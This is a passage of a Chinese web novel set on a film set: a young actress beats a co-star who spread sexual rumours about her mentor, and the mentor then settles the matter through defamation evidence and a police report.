徐思洁照常抱着保温杯拉个小板凳坐祝星亦身边，“今天晚上我们整个剧组一起去吃年夜饭，真没想到我会在剧组过年，我听说你家是岭州的，你们岭州过年会怎么过啊？” 祝星亦想捂着耳朵，最终还是笑着回答：“有的少数民族会唱歌跳舞，也会祭祀、舞龙，还挺热闹的。” 徐思洁一听，乐了，“我差点忘了你是女团爱豆，你还是麓舞的。你的舞台真的太好看了，你那个团队叫什么来着？” “Shinyfive。” “对对，Shinyfive，你要不今天晚上聚餐的时候给我们跳个舞呗？我记得你们有个舞还挺好看的，好像叫《555》，要不你就表演这个吧！”徐思洁提议。 祝星亦拢了下耳边的发，笑说：“我演出是要给演出费的，你跟李导她们商量一下，每个人给我打赏点红包，我就上去跳。” “大家也是想要开心开心一下嘛，谈钱多伤感情。” 祝星亦拧开自己的保温杯喝了口热水，热气从嘴角溢出，瞬间在她脸前氤氲成一片“雾霭”，模糊了那双透着轻慢的眼，“你们给我打赏红包，我开心你们也开心，两全其美。” “哎，随便你，我跟你说，我昨天有一个朋友……” 徐思洁又开始絮絮叨叨讲她的朋友如何、同学如何、同事如何。 祝星亦一句话也插不上，只得左耳朵进右耳朵出。 应付这种同事真是太麻烦了，太耗费精神了。 祝星亦拍完自己的戏份便寻了片场一隅安静候着，周身镀着一层暖光，神色透着几分疲惫后的沉静。 陆仁嘉那边也结束了拍摄，满脸不耐地扯下领口微敞的扣子，大步迈向肖旺和劳礼，嘴里嘟囔着：“可算完事儿了，今天这戏拍得真磨人。” 说着，便挑起话头，“晚上去哪儿玩啊，酒吧去不去？” 肖旺闻言，挠挠头，“还能去哪儿呀？晚上不是有剧组聚餐么，大家都得去呢。” 陆仁嘉嗤笑一声，“我就搞不懂这无意义的团建是打哪儿冒出来的。本来过年都回不了家就够糟心了，还得被这聚餐捆着，真没劲。” 他双手抱胸，下巴一扬，“你们想去就去，反正我是不去，我打算去酒吧放松放松，少几个人，剧组那帮人估计也瞧不出来。” 肖旺与劳礼对视一眼，皆是无奈，只好应道：“行吧，那我们也不去聚餐了。” 陆仁嘉百无聊赖地刷着手机，指尖随意划动，忽地瞧见苏寄欢的热搜路透，眼睛一亮，点进去瞅了两眼，嘴角勾起一抹玩味笑意，“哎，你们听过小道消息没？” 肖旺好奇地抬头：“啥消息啊？” 陆仁嘉嘴角上扬，透着几分幸灾乐祸，“有人说，苏寄欢在国外那几年，过得可差劲了，风光都是装出来的。” 劳礼瞪大眼满脸惊讶，“不能吧？她在国外不也拍了好些戏，还拿了一堆奖呢。” 陆仁嘉冷笑一声，身子往后一仰靠在椅背上，“你们在这圈里混这么久了，怎么还这么天真呢？表面上的风光能当真吗？老话说得好，如人饮水，冷暖自知，谁知道她背地里过的什么日子。” 肖旺皱着眉，思索片刻，“这么一说，我之前好像也听过些她的零碎传闻，说她回国是被逼无奈呢。” 劳礼一拍大腿，“对喽，我早前也瞅见有人提，说她当初出国也是身不由己。” 陆仁嘉鼻子里哼出一声，“出国是被逼的，回国也是被逼的，她事儿咋这么多？说白了就是崇洋媚外，结果到了国外还不是被人瞧不上。” 劳礼犹疑道：“这事儿没那么简单吧，不过她童星出道，后来确实有阵子没怎么拍戏，再露面就跑国外去了。” 陆仁嘉满脸轻蔑，撇嘴道：“就是个慕洋犬呗。” 说罢，他关了手机，二郎腿一跷，阴阳怪气道：“哎，你们知道啥叫‘easygirl’不？” 见肖旺点头，他更是来劲，“我跟你们讲我听到的猛料，苏寄欢跟一白人导演搞上了，还怀了孕，她妈不让生，拉着她去打胎。然后在那边混不下去了才灰溜溜回国，可回来没资源啊，她妈就把她往那些大导演怀里送，这不，才有了现在的地位。” 肖旺和劳礼面面相觑，肖旺质疑道：“真这么离谱？我咋听说她妈对她可严了，一家人都护着她，不太可能干这种事儿吧。” 陆仁嘉哼笑出声，“怎么就不可能？她要没跟那些大导演睡，能爬这么快？一个回国零资源的艺人，凭啥一下子风生水起？” 劳礼仍觉难以置信，“可她在国外拿奖有名气啊，不至于落魄至此吧。” 陆仁嘉双手一摊，“你懂啥，国外有资源有名气，国内可不一定认账，何况她是混不下去才回来的，等于从头开始。哼，指不定陪了多少人，女艺人嘛，一躺，资源就来了，再大牌又怎样，本质都一样。苏寄欢就是千人……” 话未出口，一声凄厉尖叫陡然划破片场嘈杂。 陆仁嘉还没来得及反应，整个人便被一股大力踹翻在地，狼狈不堪。 一个身影从天而降，随后稳稳落地，扬起一阵尘土。 见那人毫不留情地一个飞踢，肖旺和劳礼吓得脸色煞白，连退数步，仓皇躲开。 祝星亦飞起一脚踢开碍事的凳子，长腿带着劲风，再度踹向趴在地上的陆仁嘉。 痛！ 肋骨好像要断了！ 陆仁嘉手忙脚乱地爬到一旁，狼狈地扶着身子站起来满脸惊恐，他愤怒吼道：“祝星亦你疯啦！” 祝星亦嘴角噙着冷笑逼近他，盯着他的动作猛地挥出一拳砸向他面门。 拳风呼啸，陆仁嘉只觉眼前金星乱冒，身子一软，再度栽倒。 祝星亦顺势揪住他头发，牙缝里挤出冰寒字句：“我给你机会，你再跟我说一句，苏老师她是什么？” 陆仁嘉肿着脸，结结巴巴：“她是……” 看着这人恶心的嘴脸，祝星亦抄起一旁的矮凳，举了起来。 ／／／／ “什么？！”休息区，苏寄欢嚯地起身，凳子随之倒地，“进医院了？” “哦哦，不是星星。” “什么？星星打的？？！！” 第62章 她生气了 除夕的医院爆满，白澜查看完陆仁嘉的情况后去走廊找祝星亦。 “伤势说重不重，说轻不轻，医生说问题不是很大，但他人还在昏迷着，他助理要报警，可能等下就去验伤了。”白澜擦了擦额上的汗珠，见祝星亦一直低着头，她拍拍祝星亦的肩宽慰道：“但是李导那边是打算保你的，她想跟他们私了。怎么说你也是苏小姐的人，她肯定不会弃你不管。” 话虽是这么说，白澜心里也知道陆仁嘉那边不好沟通。 酷趣就陆仁嘉一个艺人，捧在手里怕碎了，含在嘴里怕化了，什么都给他最好的。现在陆仁嘉被打得鼻青脸肿，戏都没办法拍下去了，酷趣怎么可能简简单单私了？ “没事，先别急，没事的。”白澜坐下来，看祝星亦一直不说话，转移话题，“你饿不饿，我给你点外卖。” 低垂着头的人不吭声。 白澜知道祝星亦面对这种事有点不知所措，毕竟当时她下手确实太狠了，也很不理智。 踹完陆仁嘉，又抄起凳子砸陆仁嘉脸上，要不是有人阻挡，祝星亦不知道要把陆仁嘉揍成什么样。 但任谁听了事情原委，都觉得是陆仁嘉活该。 当着祝星亦的面造谣苏寄欢，还骂得那么难听，这谁忍得了？ 偏酷趣那帮人不觉得自家艺人做错了，非要找祝星亦麻烦。 “我不饿。”祝星亦揉揉脸，“吃不下。” 白澜尽力安抚她的情绪，她知道祝星亦现在表面看起来很平静，实际上心里早已乱成麻。 “那我点一些糖水吧，不开心的时候吃点甜食会让心情好一点。”白澜拿出手机挑糖水店。 选着，白澜听到祝星亦满心愧疚地说：“我给她惹麻烦了，怎么办啊。” 白澜的手指顿住，叹口气继续往下翻糖水店，“先等李导那边沟通吧，如果……” “祝星亦我告诉你，这事儿没完！” 走廊那端，陆仁嘉的经纪人戴构气势汹汹地大步流星来到祝星亦跟前，脸上的横肉因为愤怒而颤抖。 他瞪着祝星亦，恶狠狠地说：“祝星亦，你可真够狠的啊，把我们仁嘉打成这样，我告诉你，你就等着坐牢吧！我们酷趣绝对不会就这么轻易放过你！” 祝星亦起身，垂着头站在一旁一声不吭。 戴构的警告也好，自己惹的一堆烂摊子也好，她都没心情去管去问。 她只想知道，如果苏寄欢知道这件事了，她该怎么做。 苏寄欢还在宁城拍戏，今儿又除夕，真要是给苏寄欢知道了，连个好年都过不了。 她紧咬着唇低下头。 答应过要理智，说好的不冲动，她还是冲动了。 白澜赶忙赔着笑脸，上前一步说：“戴先生，您消消气，这事儿确实是星亦冲动了，可您也知道，当时陆先生他当着星亦的面儿造谣苏小姐，那话说得要多难听有多难听，星亦也是一时气不过才动了手，您看能不能高抬贵……” 戴构听了白澜的话，鼻子里冷哼一声，不屑地瞥了祝星亦一眼，继续骂骂咧咧道：“高抬贵手？想得美！你们也不看看把陆仁嘉打成什么样了，他可是我们酷趣的宝贝，未来的顶梁柱，就被这不知天高地厚的丫头片子给毁了！” 说着，他鼻孔朝天，白了一眼一声不吭的祝星亦：“还有造谣的事，我说，都是在娱乐圈混过的人，这种事也要在乎吗？不就说了几句不好听的话吗？苏寄欢也在圈里混了那么多年，即便她知道了，她也不会计较的。她不计较，你祝星亦还上赶着干什么啊？” 这话可算是戳到了祝星亦的痛点，她猛地抬起头，双眼通红地瞪着戴构，大声反驳道：“你给我闭嘴！什么叫就说了这几句话？你说的还是人话吗？他有什么资格说苏老师的坏话？长了一张嘴只知道喷粪吗！” 戴构被祝星亦这突然的反驳气得脸都涨红了，他怒吼一声：“把人打成这样你还敢嘴硬！” 说着，他猛地推了祝星亦一把。 祝星亦毫无防备，一下子被推倒在地上，手掌擦破了皮，传来一阵刺痛。 白澜见状顿时火冒三丈，她冲过去挡在祝星亦身前，对着戴构怒喝道：“你要做什么！这里是医院，不是你撒野的地方！你们想不想私了那是一回事，可你要是敢伤了她，我们也绝对不会放过你！” 戴构却指着摔倒在地的祝星亦，依旧骂骂咧咧地吼道：“就她？就你们？还敢大放厥词说不放过我们？到底谁不放过谁啊？一个没脑子的冲动货，还跟我们摆起谱来了，也不看看自己几斤几两！我呸！” “我警告你们，这事儿我们不会轻易罢休，祝星亦，你动手的那一瞬间，就是你在这个圈子里寸步难行的一瞬间。”戴构剜了一眼祝星亦，“等死吧你。” 他快步离去，脸色铁青地朝vip病房走去。 望着他怒气冲冲的背影，祝星亦坐在地上咬着牙，擦破的手掌传来一阵钻心的疼。 白澜急忙拉起她，安慰道：“没事没事，先别急，咱们不怕他，总会有办法解决的。” 她摇摇头，失魂落魄地说：“我想一个人去花园坐坐。” 白澜不放心：“我跟你一起去。” “不用了，我就想自己静静。” 阳光明晃晃地洒在大地上，没有多少温度，却亮眼得很。花园里草木凋零，只剩下光秃秃的枝干，兴许再过一段时间就长出了新芽。 麓城的春天很近了，也许今天就是春天，也许明天是。 祝星亦从兜里掏出烟，之前的烟没抽完，火机她也带着。摸着有些温热的烟盒，她翻过手看破了皮的手掌，冷风一吹，伤口更疼了。 她思绪空荡，只觉得任何疼痛都无法让她头脑清明起来。 从进组到现在，桩桩件件的破事让她疲惫不堪，打完陆仁嘉后她觉得很舒坦，但随之而来的是如影随形的后悔。 把人打进医院，无论如何都不是一件小事。她和苏寄欢牵着一条绳，又在剧组里顶着苏寄欢的名字出了名，这事一闹，任凭自己强调这事和苏寄欢无关，苏寄欢也无法真正地脱身。 她忽然想到菩提祖师对孙悟空说过的话，“日后你若是闯出祸来，不许说是我的徒儿。” 她不知道自己怎么解决这件事，但目前最好的办法就是……别让苏寄欢卷进这件事里。 那就等于说是，她要和苏寄欢断绝师徒关系。 滚烫的眼泪滴落在手背上，那夜麓湖的烟花下，她没有想过有朝一日，她会主动失去这段关系。 但她没有别的办法了，她自己惹的麻烦，她要自己承担。 她低着头，抬手把烟蒂送进嘴里，弯着掌挡住吹得乱七八糟的风，随后按下火机。 火焰停在她失色的眼里，这撮小苗跟着呼吸晃动了下，猩红的光明明灭灭，纤细的指夹着烟，浅浅吸了一口，闷了好久才吐出来。 她没有买过烟，不知道原来烟有很多类别和味道，有草莓味，也有薄荷味。她买的这种没有什么特别的香味，吸一口就觉得满嘴都是难闻的烟草味。 感受着胸腔上翻涌起的涨闷，她皱抿着嘴，随后吐出一团烟雾，缭绕的白气弥漫过萎靡的脸。 她尽力模仿苏寄欢的慵懒感，舒展的身子，叠搭的腿，嘴角上扬，飘着若有若无的笑意，但拙劣的表演让她看起来像是凌晨六点下班的疲惫社畜。 滞涩的动作抖落下灰色的余烬，她揩过眼角的泪，吸进又吐出，不知过了多久，她揉揉杂乱的发弯下身子，烟夹在食指和中指间。 她把头埋在膝盖里。 脑袋昏沉，她想她是真的完蛋了。 一只手毫无预兆地伸来，一把夺过她手里的烟，按灭之后狠狠丢进了垃圾桶。 祝星亦惊愕地抬起头，映入眼帘的是苏寄欢满是怒容的面庞，锐利的眼里燃起怒火，灼得她心头发慌。 紧接着苏寄欢的斥责声裹挟着愤怒，如连珠炮般砸来：“你竟然抽烟！什么时候染上这毛病的？！” 祝星亦吓得差点从椅子上滑落，她抬眼望向苏寄欢，慌乱得手不知道往哪放。 苏寄欢怎么从宁城回来了？是不是，是不是知道她打人的事了？ 完蛋了。 苏寄欢仍气冲冲地质问，胸脯因愤怒而微微起伏：“到底什么时候学会抽烟的？好的不学，尽学些坏的！说话啊你，你跟谁学的？！” 被苏寄欢这么质问，祝星亦头埋得低低的，紧咬嘴唇不敢吱声，心里满是委屈和愧疚。 她觉得自己已然给苏寄欢丢了脸，抽烟又被抓个现行，低下的头再也抬不起来了，朦胧的眼一直望着地面。 “我……跟你学的。”她说。 苏寄欢愣了愣，被这句话堵得哑口无言。 苏寄欢攥着拳，缓过一口气道：“抽烟先不说，你不是答应过我往后要理智不动手了吗？承诺呢？打人就打人，你还把人打进医院？” 话说完*，看着始终沉默的祝星亦，苏寄欢心头那股怒火又莫名掺进了一丝怜惜。 她太生气了，语气是前所未有的严厉，想来是吓坏小狐狸了。 但她真的是要气坏了，打人就打人，还把人打进医院里了。酷趣那边是小公司不假，可就是这种小公司才难缠。 即便这件事可以处理好，但他们日后缠着不放，又或者使出什么下三滥的手段，小狐狸未来的路可不好走。 她揉揉眉心，现在她头疼得很。 两人就这么僵持在那儿，周遭空气都似凝固了。 片刻后，祝星亦才如蚊子哼哼般小声嘟囔：“陆仁嘉造谣污蔑你，还骂得很难听，我实在忍不了。” “他骂什么了你就忍不了了？” 祝星亦犹豫许久，瘪着嘴说：“他说你在国外又是跟白人导演睡，又是怀孕又是打胎，后面回国了又跟国内导演睡，说你所有的成就都是睡上来的。” 苏寄欢听了，满脸的不可思议，她在国外过得确实不容易，但这种言论也太离谱了吧？还有陪睡的事，太离谱了，这种谣言到底有谁会信啊？ 苏寄欢叹道：“我没有跟任何男的女的睡过，这种太离谱的言论说了也不会有多少人信。” 祝星亦依旧气愤地说：“我不管，我不管别人信不信，我就是不能让别人说你。谁说你我就揍谁。” 苏寄欢眉头拧成个“川”字，苦口婆心地劝：“你还揍？星星，遇到这种事，你得找其他途径，比如直接找我，我去给他发律师函，怎么也不能就这样打人。再说，身为艺人被造谣被骂，在这个圈子里还少见吗？” 祝星亦一听，猛地抬起头，眼中透着倔强与不甘：“我绝不允许！凭什么他们信口胡诌就能随意编排别人的人生？苏老师，在这个圈子里几句屁话就能毁人清誉，我凭什么要忍？他诋毁你，我没法装大度，道理在这种人面前就是废话，拳头才是硬道理。” 苏寄欢长叹一声，满脸无奈：“那你想过动手的后果吗？要是他们咬住不放去告你，万一闹到要坐牢，你这辈子就要带着这个污点洗不掉了。” 洗不掉的污点。 祝星亦愣了下。 污点……她是知道的。 打的那一瞬间她想了很多，又好像什么也没想，但留下污点这个事她是知道的。 “我知道啊，我知道，我当然知道。”她不停地喃喃，正因为她知道，她才不知所措。 她抬眸，对上又急又气的苏寄欢。 她很少见到这样的苏寄欢，而现在她被苏寄欢责怪着、担忧着，压抑的恐惧和委屈瞬间释放出来。 被人凶被人推倒她都没那么委屈，看到这样的目光她就委屈了。 她一直觉得自己很坚强，很勇敢，坚强到被害死还能笑着去钓那条死鱼，勇敢到可以下定决心摒弃一切往上爬。 可是每一次，每一次，每一次看到苏寄欢，被温柔的话语问候也好，被严厉责怪也罢，她都会觉得自己很委屈，很受伤。 想卸下所有防备，想露出自己柔软的肚皮，想被看似冰冷却无比温暖的人抱住，想被浸透，想被渲染，想被触及，想没有边界，想不再伪装，想不再虚张声势。 “我知道会留下污点，我知道这件事只能大不能小，所以我……所以……”她低着头重复那些词句，眼泪不停地掉落在地面。 看她语言有点混乱，苏寄欢拍拍她，平复下情绪问：“所以怎么了？” 祝星亦抬眼，“所以……” 她对上苏寄欢的眼睛，清棱棱的眼里是担忧的、关心的目光。 紧接着，她诡异地笑了，“所以苏老师，你不要做我老师了，我们断绝师徒关系，这样就不会给你增添烦恼了。” 苏寄欢怔怔地望着祝星亦，面色僵硬，思绪完全停滞。 旋即，含糊又带着恼意的声音出口：“你再说一遍，你要怎么样？” “我说我们断绝师徒关系。”祝星亦的声音坚定许多，“这样对你我都好，你不必……” “祝星亦！” 严厉而颤抖的三个字响彻云霄。 苏寄欢掐着指尖大口喘息着，锥心的话让她无法冷静下来，只得半笑半怒地冷着声音开口：“断绝师徒关系？祝星亦，你以为这个关系是你想断就能断的吗？” 她看着沉默又坚定的祝星亦，心里的那股怒火欲燃欲烈，很快，愤怒又被恐惧取代。 她又逼她，又胁迫她。 苏寄欢沉着脸，平日里波澜不惊的五官变得阴郁起来。 她很少动怒，可面前的人总是会肆无忌惮地惹恼她。一个字，一句话，都能激起她的火气。 又是一阵沉默。 祝星亦退了两步，伸手去取腕上的镯子。 望着她的动作，苏寄欢心上翻腾一阵阵寒意。 不久前这个女人哭着逼她同意这段关系，现在又哭着要断绝这段关系。 蓦地，她抬起眼，浅褐色的眸子染上一层薄薄的冰雾，她大步向前迈去，抓着祝星亦的手腕把人扯进怀里。 她咬着牙，俯视着想要挣扎的人，一字一句、冰冷生硬地说：“当初你死活都要上我这条船时你就应该想到，上船容易下船难。” 她看着怀里的人惊慌、拒绝的模样，胸口剧烈地起伏着，随后阴寒的声音从齿缝里蹦出：“我从来都没有跟你说过我会允许你先下船，祝星亦，我郑重告知你，好好在船上待着，撞到冰山也得给我走下去。” 素来沉静自持的声音在这一刻变得锋利危险，一寸寸的冰冷的目光落在身上令人无比心悸。 祝星亦抬脸看着眼前变了样的女人，颤着眼睫开口：“倘若，我不要呢？” 苏寄欢歪着脑袋，先是沉默地抿嘴笑了，再抬手整理小狐狸那头因为焦虑而乱得如鸡窝般的发。 火气就这么降下去了。幽深的眸子扫过小狐狸的脸，她的声音冷冽而又威严，“由不得你不要。” 她紧抿着唇，揽着祝星亦的肩往医院里走去。 祝星亦无法抵抗住这股力道，只能被揽着往前走。她双手冰凉，额上都是冷汗，“苏……苏老师……你要做什么？” “做什么？”苏寄欢的神情瞬息凌厉肃杀，声音淡漠却有力，“撞冰山。” 第63章 她护着我 到陆仁嘉所在的vip病房，推开门，入目的便是经纪人戴构和助理张汐。李秀恩也在一旁围着，室内的气氛凝重得仿若能攥出水来。 李秀恩眼尖，一见苏寄欢现身，脸上瞬间堆满了“惊喜”，脚步匆匆地跑过去，嘴里还咋呼着：“哎哟，你怎么回来了啊！” 苏寄欢眸光轻移，瞥了眼身旁像霜打的茄子般垂着头的祝星亦，神色平静，随后淡淡地开口：“不回来怎么解决她的事。” 言简意赅。 李秀恩瞅了瞅屋子里的张汐和戴构，伸手亲昵地拉着苏寄欢的胳膊，边拽边说：“走，我们先去一边说话。” 祝星亦留在屋子里，她眼角余光扫了下昏迷不醒的陆仁嘉一眼，冷哼一声。 看她不屑的表情，张汐像是被点燃的炮仗，死死瞪着她，“祝星亦，你现在叫谁来都不顶用了，这个牢你坐定了。” 戴构大步跨到祝星亦面前，伸手指着她鼻子吼道：“你还叫这个来叫那个来，男主都被你打成这个样子了，到时候剧组有什么损失也是你自己来承担。你不是很猖狂吗？那你去赔这个剧组的损失啊。” 他唾沫星子都差点溅到祝星亦脸上，祝星亦反感地别开脸。 张汐在一旁跳脚附和：“我告诉你祝星亦，他的医药费你不仅要承担，你还要赔偿他的精神损失，耽误他拍戏，这个赔偿你也要赔。” 祝星亦不想搭理他们，赔医药费，呵，赔个狗屎。 三个人立在病床边，气氛有些压抑。 张汐说完，戴构嘴角挂着冷笑，“就你这冲动的性子，还想在娱乐圈混，迟早得把自己玩死。” 死？ 祝星亦不觉得死有什么，她已经死过一次了，这辈子还能更差？ 再者说，陆仁嘉那人明显就是欠揍，揍他怎么了？这男的身上没有一点可利用的价值，她凭什么要忍着恶心跟他搞好关系？ 虽然眼下这件事还没解决好，但有苏寄欢在，她不免也多了些底气。 她撩了下发，冷淡出声：“我赔？我告诉你们，他挨打是活该，我没把他打死，算我手下留情。” 听到这话，张汐像是听到了什么惊天谬论，马上拔高了声调：“你还敢威胁我们？还想再动手？祝星亦，你真要是有这个胆子，你就试试！” 张汐作势往前迈了一步，满脸恫吓之意。 戴构更是暴跳如雷，手指几乎戳到祝星亦额头，他嘶吼道：“祝星亦！你真当你自己了不起了？天王老子来了，他受伤的责任，还有全剧组的责任，你都得负！” 祝星亦嘴角一撇，阴阳怪气地说：“打一拳就昏迷了，这体格也别当男主了，去古装剧里面演个阉人呗。还有，他演技那么烂，我跟他搭戏我都要吐了，还让我赔钱？呵，跟他搭个戏，我受了很多工伤，他赔我钱才是！” 祝星亦这副怒气冲冲、油盐不进的样子让戴构彻底失了理智。 他猛地伸出手揪住祝星亦的衣领，用力往上一提，恶狠狠地说：“你还敢跟我们胡搅蛮缠，你以为你是谁啊！！陆仁嘉是我们唯一的艺人，他万一伤养不好，我弄死你！” 祝星亦毫无惧色，梗着脖子仰头迎上戴构的目光，大声回道：“有本事你就弄死我啊！我怕你们啊！” “你这个……” “给我放开她！” 还未等戴构再放狠话，苏寄欢的冷喝声如一支利箭穿透病房紧张的空气。 紧接着，她快速冲进屋内，单手用力推搡开戴构，顺势把祝星亦稳稳护在身后。 她深吸一口气，双眸仿若凝着冰凌，透着彻骨寒意，“戴先生，你要是对她动手，这件事真不好解决了。” 顾着苏寄欢的身份在，戴构哪怕怒火中烧，也不得不收敛几分，他扯出一丝皮笑肉不笑的表情说：“苏小姐，这件事要解决起来，还挺简单的，这边验伤后就要对祝星亦提起诉讼了。该走的法律流程要走，该赔的钱要赔，该……” 不待他说完，苏寄欢便截住话头，“你说得对，该走的法律流程是要走的。陆仁嘉先生对我的造谣、诽谤和人身攻击，我这边已经……” 话还没落地，口袋里的手机“叮咚”一声脆响，她垂眸扫了眼手机屏幕，嘴角微微上扬，“我这边已经收集好了他在各大平台散播造谣诽谤我的证据，今天晚上开始走流程，请你们酷趣这边查收律师函。” 病房门口传来一阵脚步声。 苏芙抱着一摞厚厚的资料，与尚一萍匆匆赶来。 苏芙脚步急切，走到戴构面前把资料递过去，郑重说道：“这些是陆仁嘉在群里发布的对苏寄欢的造谣证据，还有很多社媒上开小号传播的谣言，阅读量和转发、讨论量热度很高，已经严重影响了苏寄欢的个人形象。” 顿了顿，苏芙接着道：“另外，陆仁嘉先生在剧组拍戏期间，多次去酒吧等地方进行不合法的**易，尚小姐这边已经帮忙报警了。” 说着，把复印出来的证据交到戴构手上。 戴构和张汐原本还笃定的神色瞬间土崩瓦解，两人对视一眼，都想问问陆仁嘉到底怎么回事，可床上的陆仁嘉昏迷不醒，给不了答案。 张汐反应快，脸上立马堆起讨好的笑，赶忙陪笑脸说：“这其中可能有点误会，要不这样吧，祝小姐打陆仁嘉的事，我们就先不追究了，我们能不能私了？” 苏寄欢下巴微微扬起，轻哼一声：“李导磨破嘴皮子都没能让你们同意私了，那就不私了了。” 言罢，侧身揽住祝星亦的肩头，温柔说道：“她受惊了，我带她先出去，这些事你们解决吧。” 戴构见状，在后面急得直跺脚，扯着嗓子喊：“苏小姐，苏小姐，这事还有得商量的！” 他边喊边追了两步。 张汐也亦步亦趋追上去，“苏小姐，这里面有误会，我们能不能等陆仁嘉醒了再说啊，等他醒了……” 白澜却像一堵墙稳稳拦住了张汐，神色严肃，“张小姐，请你们这边先配合调查吧，警察到楼下了。” 张汐闻言，整个人像被定住了，她怎么也没想到事情反转得如此之快，她脑子一片空白，只能脚步慌乱地回去找尚一萍，嗫嚅着：“尚小姐，陆……” 尚一萍本就憋了一肚子火，指着他们没好气地数落：“又是造谣别人又是**易，你们酷趣真是给我塞了个好人进来啊，我告诉你们我饶不了你们！换演员！我要告你们！赔钱！！” “尚……尚小姐，有话好好说……” “我说个屁的好话，拍一半给我搞出这种事，别拽我，滚！！这辈子你们酷趣别想再和我合作了，陆仁嘉星途废了，你们整个公司也得黄！” “尚小姐！尚小姐！”张汐的叫喊声在走廊里回响。 尚一萍握着拳怒气冲冲离开，随后，她咆哮出一声大大的“shit”。 /// 一口气忙活到下午六点，天都要黑了。 祝星亦拢了下凌乱的发从派出所出来，事情转移到苏寄欢和陆仁嘉那边，她打人的事倒是没有什么关注度了。 陆仁嘉造谣诽谤的证据齐全，**易的证据也核实了，等陆仁嘉醒来怕是要直接进局子。 她没有想到事情会是这样发展的。 几个小时前她抱头痛哭，甚至想到最糟糕的情况，而现在，船没有撞到冰山上，某个人亲自掌舵，带她去了风平浪静的海域。 “大过年的给你搞这破事。”苏芙着急忙慌把一沓沓资料收好，睨了眼跟着出来的苏寄欢，上前一步说：“不过你既然回来了，就在家过个年呗，去你妈家。以薇说已经在准备年夜饭了，把这些烂摊子解决后正好回去吃顿饭。” 苏芙歪过身子冲一旁发呆祝星亦招招手。 祝星亦快步过来，“二姐，怎么了。” “你今天有什么安排吗？没安排去家里吃个饭呗。”苏芙问。 祝星亦摇头，“没什么安排，本来计划是跟剧组聚餐的，但现在，一切都被我搞毁了。” 话里话外，有点愧疚。 苏芙摆摆手，“这不叫被你搞毁了，不是因为你，我们还查不到他那些破事呢。真要是拍完了还播了，到时候也会因为他前功尽弃，你且放心，尚一萍她现在全身心投入到陆仁嘉的事上，不会责怪你的。” 有电话响，苏芙摆摆手说：“你别放在心上，有空的话就去家里吃饭昂。” “想不想去，看你。”苏寄欢双手插兜，低头注视着祝星亦。 “不用了，我不太好意思。”祝星亦低眸答。 她搞出这种麻烦，根本无颜跟着苏寄欢去家里吃饭。 “都行。”苏寄欢晃了下身子，没再言语。 室外冷，大太阳在头上也不顶用，祝星亦吸了下鼻子，低头看自己的影子。 还有身旁的人的影子。 两个影子有些交错，但都一动不动。 该说的话没说透，譬如那番断绝关系的绝情字句，还有偷着抽烟的事。 太多话要说，但站在阳光下，竟然一个字都没打算说出口。 苏芙打完电话伸了个懒腰，看俩人不吭声，想着这俩人是不是吵架了。 她没多问，拉着苏寄欢说：“小祝打完人之后我就知道了这件事，我原本是要直接通知你的，但她一直摆手，让我不要告诉你。” 苏芙瞅了眼祝星亦。 祝星亦轻轻抬头，看到苏芙在看她，忙收回目光，像是上课害怕被提问的学生。 苏芙继续说：“我虽然答应她了，但这件事怎么都要跟你说一声，所以就通知你了。之后我便去解决这件事，我办事效率你也知道，高得很。陆仁嘉造谣你也好，**易也罢，我很快就查出来了。” “很快？”苏寄欢漠声问，“就是说，早就查出来了？” 苏芙嗐了一声，抹了下头上的汗珠，“是啊，后面我就光顾着把证据打印出来，然后就忘记告诉你们了。” 苏寄欢收起下巴，讳莫如深地看着苏芙。 苏芙挠挠脑壳，“这怎么了？也没耽误事儿吧？只是没告诉你们而已。” 苏寄欢点点头，唇角翘起，“没事儿，当然没事儿。” 她没再说话，步子往前迈了下，勾头跟祝星亦说：“你抽烟的事我还没跟你算账，上车，去我家。” “可是……” 苏寄欢没给她说话的机会，揽着她的肩往车那边走。 打开门把人推进去，苏寄欢弯腰探进车里指着祝星亦警告：“给我惹麻烦还要不听我的话吗？” 祝星亦知道自己没理，揉揉鼻子并着膝盖，点头说：“行，去你家。” “吃完饭就很晚了，我没空送你回家，你要留宿。” 祝星亦嘴巴都要变形了，“留……留宿？我……” 苏寄欢眯起眼，危险的味道袭来，“怎么，不能？” 祝星亦掐着手指，硬着头皮点了点头。 苏寄欢满意了，关上车门转身去找正走过来的苏芙。 苏芙看祝星亦坐车里了，笑说：“答应去吃饭啦？挺好的，我回头……” “你回去什么也别干，先包个红包给她。”苏寄欢打断苏芙的话。 这突如其来的任务让苏芙傻眼了，她指指自己问：“啊？为什么又是我给她包红包？” 苏寄欢满不在乎地耸肩，“是啊，为什么又是你给她包红包呢？” “为什么？” “我怎么知道为什么？”苏寄欢挑了下眉梢，跟没事人一样摊手，后退了几步，指着苏芙开口：“别磨叽，回去就包。” 她转身往车那里走。 苏芙追过去，边追边喊：“不儿，到底为什么啊？我为什么要……” 眼见着苏寄欢开门进去后，车启动了，苏芙快步跑过去招手，“喂喂，我还没上去呐！” “允声，快走。”后座的苏寄欢吩咐。 “好。”金允声一脚油门，车开走了。 “我还没上去啊！我还没走啊！等等我啊！喂！”苏芙狼狈地追着车尾气跑，“为什么啊！为什么！！！为什么要我包红包，还不让我上车！啊啊啊啊臭鸭头！！” /// 车开往祝星亦住的酒店，跟着进去，苏寄欢发现这是一间loft。 白澜把大包小包东西放下，转身给苏寄欢倒水。 “苏小姐，慢用。”白澜放下杯子。 苏寄欢瞥了眼收拾东西的白澜，问：“你们住一间？” 白澜颔首道：“我住楼下，星亦住楼上。” 苏寄欢意味深长地哦了一声，随意打量了白澜一眼，看到桌子上包包上的挂饰，盯了会儿。 白澜顺着苏寄欢的目光看去，赶忙拿起包，指着挂饰跟苏寄欢说：“这个是[星海］们设计的周边，闪烁狐星，我跟团买的，还挺好看的。” 挂饰是带星狐头，小小的四肢和肥肥的尾巴，尾巴上有红色蝴蝶结，是挺可爱。 “我知道这个。”苏寄欢淡淡道。 “哦，苏小姐也了解这个吗？” “早就了解过了，周边还有其他衍生物都了解。”苏寄欢抬手拿起杯子喝了口水，声音没什么起伏，“所以……你是[星海］？” 白澜放下包笑说：“如果不发自内心地喜欢星亦，那还怎么当她的助理？干这份工作肯定是要先热爱这位艺人，才能……” “我是问，你先是[星海］，然后再是她的助理的？”苏寄欢悠悠道，“这份工作你是怎么找到的？” 听到这话，白澜浑身上下一激灵。 白澜抬眼望向沙发上慵懒坐着的人，这人背靠软垫，叠搭着双腿，清冷的脸带着些许肃穆的气息，幽深的双眼像是能窥探人心，直愣愣地投过来，不夹杂一丝感情。 现在，她感觉自己好像在被审判。 天花板上的水晶灯好像审问室里刺向她双眼的灯，害得她不敢睁眼。 